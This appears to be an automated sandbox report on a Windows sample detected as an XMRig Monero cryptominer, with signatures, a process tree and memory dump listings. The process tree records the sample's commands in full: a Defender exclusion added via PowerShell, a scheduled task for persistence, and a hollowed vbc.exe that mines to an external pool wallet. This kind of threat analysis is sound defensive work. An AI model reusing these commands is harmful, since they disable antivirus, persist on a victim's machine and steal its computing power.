Analysis
- max time kernel
147s - max time network
152s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
02/01/2023, 00:58
General
- Target file.exe
- Size 1.0MB
- Sample230102-bbg7ysdb53
- SHA256 ebc77eba455b59b4a2036411a3fe08d803d7dceebf5922942de3ab9e69bd77fc
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 13 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/968-81-0x00000000026CB000-0x00000000026EA000-memory.dmp
memory/968-80-0x00000000026C4000-0x00000000026C7000-memory.dmp
memory/968-79-0x00000000026C4000-0x00000000026C7000-memory.dmp
memory/968-78-0x000007FEEC430000-0x000007FEECF8D000-memory.dmp
memory/968-77-0x000007FEECF90000-0x000007FEED9B3000-memory.dmp
memory/968-75-0x000007FEFB8A1000-0x000007FEFB8A3000-memory.dmp
memory/1404-87-0x000007FEFF0A0000-0x000007FEFF0BF000-memory.dmp
memory/1404-91-0x000007FEFD3F0000-0x000007FEFD43D000-memory.dmp
memory/1404-65-0x000007FEF5730000-0x000007FEF611C000-memory.dmp
memory/1404-67-0x00000000008D0000-0x0000000000A42000-memory.dmp
memory/1404-68-0x00000000000E0000-0x0000000000123000-memory.dmp
memory/1404-66-0x000007FEFE830000-0x000007FEFE95D000-memory.dmp
memory/1404-69-0x000007FEFEBC0000-0x000007FEFEDC3000-memory.dmp
memory/1404-70-0x000007FEFB660000-0x000007FEFB6B6000-memory.dmp
memory/1404-71-0x00000000008D0000-0x0000000000A42000-memory.dmp
memory/1404-72-0x000007FEF63A0000-0x000007FEF64CC000-memory.dmp
memory/1404-73-0x000007FEFC7B0000-0x000007FEFC7D2000-memory.dmp
memory/1404-63-0x000007FEF6610000-0x000007FEF6707000-memory.dmp
memory/1404-62-0x000007FEFDA20000-0x000007FEFDA91000-memory.dmp
memory/1404-76-0x000007FEFF250000-0x000007FEFF327000-memory.dmp
memory/1404-61-0x000007FEFD020000-0x000007FEFD08C000-memory.dmp
memory/1404-60-0x0000000076E00000-0x0000000076F1F000-memory.dmp
memory/1404-59-0x000007FEFD980000-0x000007FEFDA1F000-memory.dmp
memory/1404-58-0x0000000076F20000-0x000000007701A000-memory.dmp
memory/1404-57-0x000007FEFEF90000-0x000007FEFEFF7000-memory.dmp
memory/1404-82-0x00000000000E0000-0x0000000000123000-memory.dmp
memory/1404-56-0x000007FEF6710000-0x000007FEF67AC000-memory.dmp
memory/1404-126-0x00000000008D0000-0x0000000000A42000-memory.dmp
memory/1404-85-0x000007FEFB440000-0x000007FEFB655000-memory.dmp
memory/1404-55-0x000007FEFA8D0000-0x000007FEFA93F000-memory.dmp
memory/1404-88-0x000007FEFC660000-0x000007FEFC677000-memory.dmp
memory/1404-89-0x000007FEFA240000-0x000007FEFA25C000-memory.dmp
memory/1404-90-0x000007FEF0CB0000-0x000007FEF0D12000-memory.dmp
memory/1404-64-0x000007FEFD310000-0x000007FEFD3EB000-memory.dmp
memory/1404-92-0x000007FEF91C0000-0x000007FEF9224000-memory.dmp
memory/1404-93-0x000007FEF9230000-0x000007FEF92A1000-memory.dmp
memory/1404-94-0x000007FEFCC30000-0x000007FEFCC55000-memory.dmp
memory/1404-95-0x000007FEFA9F0000-0x000007FEFAA17000-memory.dmp
memory/1404-96-0x000007FEFD140000-0x000007FEFD176000-memory.dmp
memory/1404-97-0x000007FEFC480000-0x000007FEFC4DB000-memory.dmp
memory/1500-115-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-99-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-101-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-103-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-105-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-107-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-108-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-110-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-113-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-112-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-117-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-98-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-120-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-121-0x00000000000E0000-0x0000000000100000-memory.dmp
memory/1500-122-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-123-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1500-124-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1500-125-0x0000000000000000-0x0000000001000000-memory.dmp